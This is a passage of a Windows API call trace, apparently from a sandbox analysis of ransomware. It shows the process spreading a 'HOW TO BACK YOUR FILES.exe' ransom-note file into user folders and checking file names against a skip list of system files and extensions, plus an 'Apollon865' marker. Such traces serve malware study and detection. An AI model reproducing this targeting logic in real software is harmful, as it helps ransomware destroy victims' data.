	[0043.252] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31da5770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.253] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.253] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31da5770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.253] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.253] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0043.253] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC"
	[0043.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0043.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0043.253] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC") returned 95
	[0043.253] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC"
	[0043.253] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.253] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\dzbkzbic\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.257] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31da5770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.258] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.258] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.258] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.258] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31da5770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.258] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.258] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.258] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.258] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.258] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31da5770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.258] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.258] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31da5770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.258] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.258] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0043.258] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR"
	[0043.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599ca0 | out: hHeap=0x580000) returned 1
	[0043.258] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0043.258] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR") returned 95
	[0043.258] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR"
	[0043.258] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.258] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\ay721qdr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31da5770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.267] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.267] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31da5770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.267] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.267] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.267] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.267] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.267] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31da5770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.267] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.267] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31da5770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31da5770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.267] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.267] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0043.267] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0"
	[0043.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0043.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0043.267] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0") returned 95
	[0043.267] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0"
	[0043.267] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.268] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\65ux3yg0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.272] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.272] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31dcb8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31dcb8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.272] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.272] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.272] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.272] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x31dcb8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31dcb8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.272] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.272] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.272] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.272] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.272] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31dcb8d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31dcb8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0043.272] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0043.272] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31dcb8d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x31dcb8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0043.272] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0043.272] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0043.272] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0043.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0043.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0043.272] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 86
	[0043.272] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch"
	[0043.272] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0043.273] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0043.277] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0043.277] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31dcb8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31dcb8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0043.277] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.277] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0043.277] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0043.277] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31dcb8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x31dcb8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0043.277] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.277] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0043.277] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0043.277] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0043.277] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4eb35ad0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0043.277] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0043.277] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0043.277] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0043.277] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0043.278] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0043.278] lstrlenW (lpString="desktop.ini") returned 11
	[0043.278] lstrlenW (lpString="Apollon865") returned 10
	[0043.278] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0043.278] lstrlenW (lpString=".dll") returned 4
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0043.278] lstrlenW (lpString=".lnk") returned 4
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0043.278] lstrlenW (lpString=".ini") returned 4
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0043.278] lstrlenW (lpString=".sys") returned 4
	[0043.278] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0043.278] lstrlenW (lpString="desktop.ini") returned 11
	[0043.278] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="Google Chrome.lnk" | out: lpString1="Google Chrome.lnk") returned="Google Chrome.lnk"
	[0043.278] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0043.278] lstrlenW (lpString="Apollon865") returned 10
	[0043.278] lstrcmpiW (lpString1="Chrome.lnk", lpString2="Apollon865") returned 1
	[0043.278] lstrlenW (lpString=".dll") returned 4
	[0043.278] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".dll") returned 1
	[0043.278] lstrlenW (lpString=".lnk") returned 4
	[0043.278] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".lnk") returned 1
	[0043.278] lstrlenW (lpString=".ini") returned 4
	[0043.278] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".ini") returned 1
	[0043.278] lstrlenW (lpString=".sys") returned 4
	[0043.279] lstrcmpiW (lpString1="Google Chrome.lnk", lpString2=".sys") returned 1
	[0043.279] lstrlenW (lpString="Google Chrome.lnk") returned 17
	[0043.279] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="Launch Internet Explorer Browser.lnk" | out: lpString1="Launch Internet Explorer Browser.lnk") returned="Launch Internet Explorer Browser.lnk"
	[0043.279] lstrlenW (lpString="Launch Internet Explorer Browser.lnk") returned 36
	[0043.279] lstrlenW (lpString="Apollon865") returned 10
	[0043.279] lstrcmpiW (lpString1="rowser.lnk", lpString2="Apollon865") returned 1
	[0043.279] lstrlenW (lpString=".dll") returned 4
	[0043.279] lstrcmpiW (lpString1="Launch Internet Explorer Browser.lnk", lpString2=".dll") returned 1
	[0043.279] lstrlenW (lpString=".lnk") returned 4
	[0043.279] lstrcmpiW (lpString1="Launch Internet Explorer Browser.lnk", lpString2=".lnk") returned 1
	[0043.279] lstrlenW (lpString=".ini") returned 4
	[0043.279] lstrcmpiW (lpString1="Launch Internet Explorer Browser.lnk", lpString2=".ini") returned 1
	[0043.279] lstrlenW (lpString=".sys") returned 4
	[0043.279] lstrcmpiW (lpString1="Launch Internet Explorer Browser.lnk", lpString2=".sys") returned 1
	[0043.279] lstrlenW (lpString="Launch Internet Explorer Browser.lnk") returned 36
	[0043.279] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="Shows Desktop.lnk" | out: lpString1="Shows Desktop.lnk") returned="Shows Desktop.lnk"
	[0043.279] lstrlenW (lpString="Shows Desktop.lnk") returned 17
	[0043.279] lstrlenW (lpString="Apollon865") returned 10
	[0043.279] lstrcmpiW (lpString1="esktop.lnk", lpString2="Apollon865") returned 1
	[0043.279] lstrlenW (lpString=".dll") returned 4
	[0043.279] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".dll") returned 1
	[0043.279] lstrlenW (lpString=".lnk") returned 4
	[0043.279] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".lnk") returned 1
	[0043.279] lstrlenW (lpString=".ini") returned 4
	[0043.279] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".ini") returned 1
	[0043.279] lstrlenW (lpString=".sys") returned 4
	[0043.279] lstrcmpiW (lpString1="Shows Desktop.lnk", lpString2=".sys") returned 1
	[0043.279] lstrlenW (lpString="Shows Desktop.lnk") returned 17
